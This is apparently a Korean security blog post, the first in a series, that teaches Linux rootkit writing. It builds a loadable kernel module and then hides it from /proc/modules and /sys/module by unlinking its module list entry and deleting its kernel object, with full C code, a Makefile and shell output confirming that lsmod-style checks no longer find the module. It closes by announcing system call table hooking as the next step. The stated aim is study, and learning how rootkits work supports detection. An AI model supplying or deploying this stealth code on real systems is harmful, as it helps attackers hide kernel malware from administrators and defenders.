본문 바로가기

reversing/rootkit

rootkit- syscall [1]

SMALL

Linux System call Hooking


Linux 환경에서의 Driver를 이용하여서, system call을 후킹 방법에 관해서 공부하려 한다.

내용은 간단하고 쉽지만, 윈도우 환경에서의 api 함수와 차이가 있어서 함수도 정리하면서 진행한다.


먼저 간단한 LKM을 빌드하고 설치해 본다.

#include <linux/module.h> // included for all kernel modules #include <linux/kernel.h> // included for KERN_INFO #include <linux/init.h> // included for __init and __exit macros MODULE_LICENSE("GPL"); // GPL == GNU Public License v2 또는 이상 // GPL과 호환되는 라이선스로 등록한 모듈에서만 해당 심볼들을 사용가능. MODULE_AUTHOR("Richong"); MODULE_DESCRIPTION("richong.tistory.com"); //함수들 정의 int rootkit_init(void); void rootkit_exit(void); module_init(rootkit_init); module_exit(rootkit_exit); int rootkit_init(void) { printk("rootkit: module loaded\n"); return 0; } void rootkit_exit(void) { printk("rootkit: module removed\n"); }

obj-m := richong.o KERNEL_DIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) modules clean: rm -rf *.o *.ko *.symvers *.mod.* *.order


위와 같이 richong.c 파일과 Makefile을 만든다.

코드를 간단히 보면.. module_init, exit 함수들은 load 될 때 시작 주소와, unload 될 때 처리할 루틴등을 등록한다.

그리고 제작자, 파일 설명, License 등을 등록한다.


richong@ubuntu:~/LKM$ sudo make

make -C /lib/modules/3.16.43/build SUBDIRS=/home/richong/LKM modules

make[1]: Entering directory '/usr/src/linux-3.16.43'

  Building modules, stage 2.

  MODPOST 1 modules

make[1]: Leaving directory '/usr/src/linux-3.16.43'

richong@ubuntu:~/LKM$ sudo insmod richong.ko


와 같이 실행하면, 로드 되고 언로드할 때는 rmmod 하면 된다.


그리고 위의 코드에서 printk 하면 출력되는 부분이 아니라, dmesg 처럼 커널 로그파일에 남아있다.

richong@ubuntu:~/LKM$ dmesg


<출력된 값>


그리고 이제 루트킷은 은밀하게 행위를 해야한다. 그렇기에 자신을 숨기는 행동이 먼저 우선시 된다.


그러기 위해서는 어떻게 로드된 모듈[루트킷]을 확인하는지 알아본다.


첫 번째로 /proc/modules 위치에 procfs 파일 시스템에 등록된 모듈들을 확인할 수 있다.


A text list of the modules that have been loaded by the system.
See also lsmod(8).


richong@ubuntu:~/LKM$ lsmod 

Module                  Size  Used by

richong                12452  0

vmw_vsock_vmci_transport    29599  1

vsock                  29702  2 vmw_vsock_vmci_transport


위와 같이 확인하면 로드된 모듈중 richong을 확인 할 수 있다.


두 번째로 /sys/modules 위치를 통해서 확인 가능하다.  부가적으로 메모리 어디에 위치하는지 인자는 무엇인지 활동하는지 등 다양한 정보를 확인 가능

추가

sysfs는 리눅스 커널이 제공하는 가상 파일 시스템의 하나로서, 가상 파일을 통해 다양한 커널 하위 시스템, 하드웨어 장치, 또 커널 장치 모델에서 사용자 공간에 이르는 관련 장치 드라이버에 대한 정보를 내보낸다. 다양한 장치와 커널 하위 시스템의 정보를 제공 
sysfs/sys라는 마운트 지점 아래에 마운트된다.


richong@ubuntu:~/LKM$ ls /sys/module/richong/

coresize  holders  initsize  initstate  notes  refcnt  sections  srcversion  taint  uevent


위의 결과 값으로 많은 것들을 확인 가능하다.


이제 이러한 데이터가 출력되지 않게 하는것이 목표이다.

매우 간단하게 windows처럼 링크드 리스트로 오브젝트[/proc]들을 관리하고, 커널 오브젝트 정보[/sys]를 이용해서 정보를 출력한다.

두 경우를 처리하기 위해서는 정말 간단하다.

list_del_init(&__this_module.list); 


kobject_del(&THIS_MODULE->mkobj.kobj);


위 두 함수만 사용하면 해당 모듈을 숨길수 있다.

이제 각 인자와 함수의 작동 방식을 살펴본다.


먼저 &__this_module 인자이다.  해당 인자의 메크로를 확인해 보면...


extern struct module __this_module;

#define THIS_MODULE (&__this_module)

#define MOD_INC_USE_COUNT __MOD_INC_USE_COUNT(&__this_module)

#define MOD_DEC_USE_COUNT __MOD_DEC_USE_COUNT(&__this_module)

#define MOD_IN_USE __MOD_IN_USE(&__this_module)


와 같이 확인 할 수 있다. 즉 현재 모듈, 자신에 관한 내용을 지시할 때 사용할 수있는 메크로이다.

그래서 &__this_module통해서 자신의 module 구조체를 가리키고 있는 것이다. 자신의 module 구조체를 확인 해보면



module 구조체의 일부인데 이름, 리스트, 커널 오브젝트 등 다양한 내용들을 포함하고 있다.


이제 처음 함수(list_del_init) 인자를 알아보았다. 그러면 해당 함수의 작동 방식을 알아본다.


static inline void

list_del_init(struct list_head *entry)

{

    __list_del(entry->prev, entry->next);

    INIT_LIST_HEAD(entry);

}

와같이 module list를 가지고 이제 삭제하는데, 실제 리스트를 수정하는 행위의 함수는 __list_del 함수가 행한다.


static inline void

__list_del(struct list_head *prev, struct list_head *next)

{

next->prev = prev;

prev->next = next;

}

와 같이 연결 리스트를 수정한다.

위의 함수가 실행되고 나면 위와 같이 수정


그리고 두번째로 INIT_LIST_HEAD 함수의 경우에는 자신의 연결 고리를 자신으로 바꾸는 작업을 한다.

static inline void INIT_LIST_HEAD(struct list_head *list)

{

list->next = list;

list->prev = list;

}

와 같이 구성되어 있고, 밑의 그림처럼 수정된다.

이를 통해서 /proc/modules list는 숨기게 되었다.


이제 /sys/modules 에서 모듈을 숨겨야 한다. 해당 파일 시스템에서 가져오는 내용은 kernel object 정보를 통해서 가져온다고 했으니,

정보를 삭제해주기만 하면 된다.


void kobject_del(struct kobject *kobj)

{

struct kernfs_node *sd;

 

if (!kobj)

return;

 

sd = kobj->sd;

sysfs_remove_dir(kobj);

sysfs_put(sd);

 

kobj->state_in_sysfs = 0;

kobj_kset_leave(kobj);

kobject_put(kobj->parent);

kobj->parent = NULL;

}


kobject_del 함수의 원형이고 아까 module 구조체에서 kernel obj를 인자로 넣어주면 된다.


이제 기본적으로 자신을 숨기는 기능구현을 다하였다.

int rootkit_init(void) {


 printk("rootkit: module loaded\n");

 //hide rootkit

 list_del_init(&__this_module.list);

 kobject_del(&THIS_MODULE->mkobj.kobj);

 printk("hided module\n");

 return 0;

}


이제 파일이 잘 숨겨졌는지 확인해본다.

richong@ubuntu:~/LKM$ grep richong /proc/modules 

richong@ubuntu:~/LKM$ ls /sys/module | grep "richong"

richong@ubuntu:~/LKM$ modinfo richong

modinfo: ERROR: Module richong not found.

richong@ubuntu:~/LKM$ modprobe -c | grep richong

richong@ubuntu:~/LKM$ grep richong /proc/kallsyms 


이제 숨겼으니.. system call table을 찾아서 원하는 함수를 변경 


[출처] http://turbochaos.blogspot.kr/2013/10/writing-linux-rootkits-201-23.html

LIST

'reversing > rootkit' 카테고리의 다른 글

rootkit - 자료정리 task  (0) 2017.05.11
rootkit- syscall [2]  (0) 2017.05.04
DLL Injection Detect[3]  (0) 2016.12.01
DLL Injection Detect[2]  (0) 2016.09.05
[WHY] 역공학 분야를 공부하는 이유  (0) 2016.08.27